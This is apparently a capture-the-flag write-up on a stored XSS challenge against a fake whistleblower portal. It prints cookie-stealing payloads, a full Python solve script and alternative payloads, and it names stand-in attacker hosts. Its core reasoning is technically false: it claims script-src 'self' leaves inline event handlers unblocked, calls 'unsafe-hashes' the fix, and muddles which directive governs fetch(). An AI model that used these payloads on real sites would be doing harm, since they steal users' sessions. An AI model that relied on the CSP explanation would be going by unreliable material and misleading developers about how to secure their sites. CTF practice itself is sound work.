leaks.secure-drop.deadrop
Challenge Description
Anonymous whistleblower submission system. The admin reviews every submission personally. Every. Single. One.
"Content Security Policy header present. ✗ Submission content is sanitized before admin review."
We're given deadrop.two-shoes.org/securedrop, a fake whistleblower submission portal where submissions are reviewed by an admin bot.
Recon
The landing page immediately tells us several things outright: unusually honest for a government portal:
- ✓ CSP header is present
- ✗ Submission content is not sanitized before admin review
- ✓ The admin reviews every submission
The page source comment seals it:
<!-- review_interval: 20s | renderer: raw HTML | reviewed_by: intern_unit7 -->
Renderer: raw HTML. Review interval: 20 seconds. The admin cookie is what we're after.
CSP Analysis
The response headers include:
Content-Security-Policy: default-src 'self'; script-src 'self'; img-src * data:; object-src 'none'
script-src 'self' blocks:
- <script>alert(1)</script>, inline script tags ✗
- <script src="https://evil.com/x.js"></script>, external scripts ✗
What it doesn't block:
- Inline HTML event handlers: onerror=, onload=, onclick= etc.
This is a common CSP misconfiguration. script-src 'self' without 'unsafe-inline' blocks <script> tags but does not restrict event handler attributes. Proper protection requires 'unsafe-hashes', 'nonce-...', or 'strict-dynamic'.
Also notable: img-src *, cross-origin image loads are permitted, which allows <img src=x> to fire onerror when the load fails (which it always will for src=x).
The Exfil Endpoint
The challenge provides a built-in exfiltration endpoint, no external listener needed:
GET /securedrop/exfil?id=<submission_id>&d=<data>
The bot hits this when it executes a payload. The player polls:
GET /securedrop/exfil/<submission_id>
to see captured data. Data is cleared after one view.
Building the Payload
Step 1: Submit anything to get a submission ID (say, #4).
Step 2: Submit the actual XSS payload targeting that ID:
<img src=x onerror="fetch('/securedrop/exfil?id=4&d='+btoa(document.cookie))">
Breaking this down:
- <img src=x>: image load will fail (no resource at x), triggering onerror
- onerror="...": inline event handler, not blocked by CSP
- fetch('/securedrop/exfil?id=4&d='+btoa(document.cookie)): same-origin fetch (allowed by script-src 'self'... wait, does CSP restrict fetch()?)
One subtlety: fetch() in an event handler is covered by script-src, not connect-src. Since connect-src isn't set, it falls back to default-src 'self'. The fetch target is same-origin (/securedrop/exfil), so it's permitted. Cross-origin fetch would be blocked.
btoa(document.cookie) base64-encodes the cookie string so it's safe to include in a URL parameter.
Step 3: Wait ~20 seconds, then poll /securedrop/exfil/4.
The captured data appears decoded:
admin_token=DEADROP{xss_the_analyst_not_the_government}
Full Solve Script
import requests, time, base64, re
BASE = "https://deadrop.two-shoes.org/securedrop"
s = requests.Session()
# Step 1: Get a submission ID
r = s.post(f"{BASE}/submit", data={"content": "test"})
m = re.search(r'class="confirm-id">#(\d+)', r.text)
target_id = int(m.group(1))
print(f"Target ID: #{target_id}")
# Step 2: Submit XSS payload targeting that ID
payload = (
f'<img src=x onerror="fetch(\'/securedrop/exfil?id={target_id}&d=\''
f'+btoa(document.cookie))">'
)
s.post(f"{BASE}/submit", data={"content": payload})
print("Payload submitted. Waiting for bot...")
# Step 3: Poll for captured data
for _ in range(6):
time.sleep(10)
r = s.get(f"{BASE}/exfil/{target_id}")
flag = re.search(r"DEADROP\{[^}]+\}", r.text)
if flag:
print(f"Flag: {flag.group()}")
break
print(" still waiting...")
Alternative Payloads
onload instead of onerror (for elements that load successfully):
<img src="/static/favicon.ico" onload="fetch('/securedrop/exfil?id=4&d='+btoa(document.cookie))">
Template literal syntax:
<img src=x onerror="fetch(`/securedrop/exfil?id=4&d=${btoa(document.cookie)}`)">
SVG with event handler:
<svg onload="fetch('/securedrop/exfil?id=4&d='+btoa(document.cookie))"></svg>
What doesn't work due to CSP:
<script>fetch('/securedrop/exfil?id=4&d='+btoa(document.cookie))</script>
<script src="/static/evil.js"></script>
Key Takeaways
1. script-src 'self' alone does not prevent XSS. It blocks <script> tags, but inline event handlers (onerror, onload, onclick) are not restricted by script-src without additional directives. A more complete policy would add 'unsafe-hashes' with specific hash values, or use nonce-based CSP with 'strict-dynamic'.
2. Stored XSS is about the victim, not the attacker. The submission content sat in a database and executed when the admin bot rendered it. The attacker's browser was never involved in the exploit, only the bot's simulated session.
3. Session cookies should be HttpOnly. HttpOnly cookies are inaccessible to JavaScript. If admin_token had been set with HttpOnly, document.cookie would have returned an empty string. The flag would have been unreachable via this vector.
4. The exfil endpoint was same-origin. This is why the fetch() worked despite CSP. A cross-origin listener (https://attacker.com/log) would have been blocked by default-src 'self'. The challenge's built-in endpoint was a deliberate convenience, in the wild you'd need a same-origin gadget or an allowed CDN.
5. img-src * enabled the trigger. Without wildcard image sources, <img src=x> might not fire onerror in all browsers. The permissive img-src was part of the misconfiguration stack.
Flag
DEADROP{xss_the_analyst_not_the_government}